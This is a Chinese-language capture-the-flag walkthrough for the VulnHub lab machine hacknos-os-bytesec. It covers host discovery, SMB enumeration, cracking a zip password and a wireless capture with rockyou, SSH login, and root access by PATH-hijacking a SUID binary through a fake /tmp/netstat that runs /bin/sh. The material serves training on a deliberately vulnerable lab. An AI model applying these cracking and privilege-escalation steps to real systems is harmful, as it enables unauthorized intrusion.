靶场下载
https://www.vulnhub.com/entry/hacknos-os-bytesec,393/
下载完成后进入配置修改网卡
教程
配置
第一步:启动靶机时按下 shift 键,
- 进入以下界面
第二步:选择第二个选项,然后按下 e 键,进入编辑界面
将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令
ip a 查看一下实际用的网卡,这里是ens33
vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33
- 按下 i 即可进入编辑模式
/etc/init.d/networking restart 重启网卡服务
一、发现主机
工具nmap及netdiscover
nmap -sP 192.168.16.0/24
or
netdiscover -i eth0 -r 192.168.16.0/24
登录验证:
获取详细信息
nmap -sV -sC -A 192.168.16.175
可知版本号,常见开放端口等
二、扫描目录
工具gobuster
gobuster dir -u http://192.168.16.175 -w /usr/share/wordlists/dirbuster/directory-list-2.3-sma
工具 dirsearch
dirsearch -u http://192.168.16.175/
访问扫描到的目录,发现基本都是图片,没有什么可以利用的信息
三、 smb服务漏洞
刚刚扫描中有发现smb服务,
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
文件共享服务(SMB)解释:
通过网络提供文件共享服务,提供文件下载和上传服务(类似于FTP服务器)
工具 smbmap
SMBMap允许用户枚举整个域中的samba共享驱动器。用户可以使用该工具列出共享驱动器、驱动器权限、共享内容、上传/下载功能、文件名自动下载模式匹配,甚至远程执行命令。该工具原本的设计初衷是为了简化在大型网络中搜索潜在敏感数据的过程。
smbmap -H 192.168.16.175
这里显示没有权限:NO ACCESS
工具enum4linux
Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。
enum4linux 192.168.16.175
显示用户名保存下
尝试登录
smbmap -H 192.168.16.175 -u 用户名
使用 smb用户发现是可读的,应该是没有密码
工具smbclinet
smbclient是客户端软件,是测试与Windows共享连接的有用工具。它可用于传输文件或查看共享名。
直接连接:
smbclient//192.168.16.175 -U smb
报错:
这里猜测是隐藏文件
访问
smbclient //192.168.16.175/smb -U smb
成功连接并可以执行命令
发现一个main.txt文件和一个safe.zip压缩文件,直接查看失败
下载到本地进行查看
get main.txtget safe.zip
main.txt中没有东西,safe.zip中有密码
解密 工具:fcrackzip 破解压缩文件
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
部分重要参数说明
-b 表示使用暴利破解的方式
-c 'aA1' 表示使用大小写字母和数字混合破解的方式
-l 1-10 表示需要破解的密码长度为1到10位
-u 表示只显示破解出来的密码,其他错误的密码不显示出
-D 表示要使用字典破解
-p 表示要使用那个字典破解
注:Kali linux自带了一些字典在/usr/share/wordlists/文件夹下。
这里使用的字典为rockyou.txt需要在kali中解压后使用
gzip -d /usr/share/wordlists/rockyou.txt.gz
语法:
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip
解压后,里面一个图片和一个cap文件,使用wireshark打开,但是没有发现什么可用信息。
图片查看:exiftool secret.jpg
工具aircrack-ng 猜测数据包
Aircrack-ng是一款用于无线网络渗透测试的工具,它可以扫描无线网络、捕获数据包、破解密码等。
流量包中可能存在密码使用工具猜解密码
aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
密码可能是 snowflake,账号在刚刚得到的三个中进行尝试
ssh远程登陆
ssh blackjax@192.168.16.175 -p 2525
输入密码:snowflake登录成功,更改为bash模式
查看当前存在的用户
cat /etc/passwd
返回得到第一个flag
四、劫持命令提权
1.查找出具有suid权限的文件
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
查找语句
find / -perm -u=s -type f 2>/dev/null
发现netscan命令
2.分析netscan文件
查看
netstat -anptnetscan
两条命令,执行结果基本一致
xxd命令可以为给定的标准输入或者文件做一次十六进制的输出
这里使用xxd是因为文件是C编译的
xxd /usr/bin/netscan | less
可以看到该文件这边是调用了netstat -anpt命令
确认该文件为root权限
3.添加劫持
cd /tmp/
这里要先切换到临时目录
echo "/bin/sh" >netstat#在临时目录创建一个文件调用netstat这个命令
chmod 777 netstat
export PATH=/tmp:$PATH #意思是可执行文件的路径包括原先设定的路径,也包括从“路径1”到“路径n”的所有路径。
最后执行netscan,提权成功
查看获取flag
# cd /home/blackjax
# ls
user.txt
# cat user.txt